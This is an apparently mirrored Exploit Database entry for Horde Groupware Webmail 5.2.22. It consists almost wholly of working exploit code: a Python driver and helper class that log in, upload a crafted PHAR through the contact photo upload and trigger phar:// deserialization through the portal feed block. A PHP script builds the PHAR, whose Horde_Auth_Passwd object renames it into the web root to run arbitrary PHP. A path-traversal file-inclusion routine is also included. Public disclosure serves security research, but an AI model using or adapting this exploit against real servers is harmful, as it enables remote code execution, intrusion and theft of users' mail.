Horde Groupware Webmail Edition 5.2.22 – PHAR Loading

Exploit Database
121 阅读

作者： Andrea Cardaci

日期： 2020-03-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48210/

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## exploit-phar-loading.py

#!/usr/bin/env python3

from horde import Horde

import requests

import subprocess

import sys

TEMP_DIR = '/tmp'

WWW_ROOT = '/var/www/html'

if len(sys.argv) < 5:

print('Usage: <base_url> <username> <password> <filename> <php_code>')

sys.exit(1)

base_url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

filename = sys.argv[4]

php_code = sys.argv[5]

source = '{}/{}.phar'.format(TEMP_DIR, filename)

destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)

temp = 'temp.phar'

url = '{}/static/{}.php'.format(base_url, filename)

# log into the web application

horde = Horde(base_url, username, password)

# create a PHAR that performs a rename when loaded and runs the payload when executed

subprocess.run([

'php', 'create-renaming-phar.php',

temp, source, destination, php_code

], stderr=subprocess.DEVNULL)

# upload the PHAR

with open(temp, 'rb') as fs:

phar_data = fs.read()

horde.upload_to_tmp('{}.phar'.format(filename), phar_data)

# load the phar thus triggering the rename

horde.trigger_phar(source)

# issue a request to trigger the payload

response = requests.get(url)

print(response.text)

## exploit-phar-loading.py EOF

## create-renaming-phar.php

#!/usr/bin/env php

<?php

// the __destruct method of Horde_Auth_Passwd eventually calls

// rename($this->_lockfile, $this->_params['filename']) if $this->_locked

class Horde_Auth_Passwd {

// visibility must match since protected members are prefixed by "\x00*\x00"

protected $_locked;

protected $_params;

function __construct($source, $destination) {

$this->_params = array('filename' => $destination);

$this->_locked = true;

$this->_lockfile = $source;

}

};

function createPhar($path, $source, $destination, $stub) {

// create the object and specify source and destination files

$object = new Horde_Auth_Passwd($source, $destination);

// create the PHAR

$phar = new Phar($path);

$phar->startBuffering();

$phar->addFromString('x', '');

$phar->setStub("<?php $stub __HALT_COMPILER();");

$phar->setMetadata($object);

$phar->stopBuffering();

}

function main() {

global $argc, $argv;

// check arguments

if ($argc != 5) {

fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");

exit(1);

}

// create a fresh new phar

$path = $argv[1];

$source = $argv[2];

$destination = $argv[3];

$stub = $argv[4];

@unlink($path);

createPhar($path, $source, $destination, $stub);

}

main();

## create-renaming-phar.php EOF

## horde.py

import re

import requests

class Horde():

def __init__(self, base_url, username, password):

self.base_url = base_url

self.username = username

self.password = password

self.session = requests.session()

self.token = None

self._login()

def _login(self):

url = '{}/login.php'.format(self.base_url)

data = {

'login_post': 1,

'horde_user': self.username,

'horde_pass': self.password

}

response = self.session.post(url, data=data)

token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)

assert (

len(response.history) == 1 and

response.history[0].status_code == 302 and

response.history[0].headers['location'] == '/services/portal/' and

token_match

), 'Cannot log in'

self.token = token_match.group(1)

def upload_to_tmp(self, filename, data):

url = '{}/turba/add.php'.format(self.base_url)

files = {

'object[photo][img][file]': (None, filename),

'object[photo][new]': ('x', data)

}

response = self.session.post(url, files=files)

assert response.status_code == 200, 'Cannot upload the file to tmp'

def include_remote_inc_file(self, path):

# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')

app = 'trean:trean_Block_Bookmarks'

# add one dummy bookmark (to be sure)

url = '{}/trean/add.php'.format(self.base_url)

data = {

'actionID': 'add_bookmark',

'url': 'x'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the bookmark'

# add bookmark block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save-resume',

'app': app,

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the bookmark block'

# edit bookmark block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save',

'app': app,

'params[template]': '../../../../../../../../../../../' + path

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot edit the bookmark block'

# evaluate the remote file

url = '{}/services/portal/'.format(self.base_url)

response = self.session.get(url)

print(response.text)

# remove the bookmark block so to not break the page

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

# XXX token not needed here

'row': 0,

'col': 0,

'action': 'removeBlock'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot reset the bookmark block'

def trigger_phar(self, path):

# vulnerable block (alternatively the same can be obtained by creating a

# bookmark with the PHAR path and clocking on it)

app = 'horde:horde_Block_Feed'

# add syndicated feed block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save-resume',

'app': app,

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the syndicated feed block'

# edit syndicated feed block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save',

'app': app,

'params[uri]': 'phar://{}'.format(path)

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot edit the syndicated feed block'

# load the PHAR archive

url = '{}/services/portal/'.format(self.base_url)

response = self.session.get(url)

# remove the syndicated feed block so to not break the page

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

# XXX token not needed here

'row': 0,

'col': 0,

'action': 'removeBlock'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot reset the syndicated feed block'

## horde.py EOF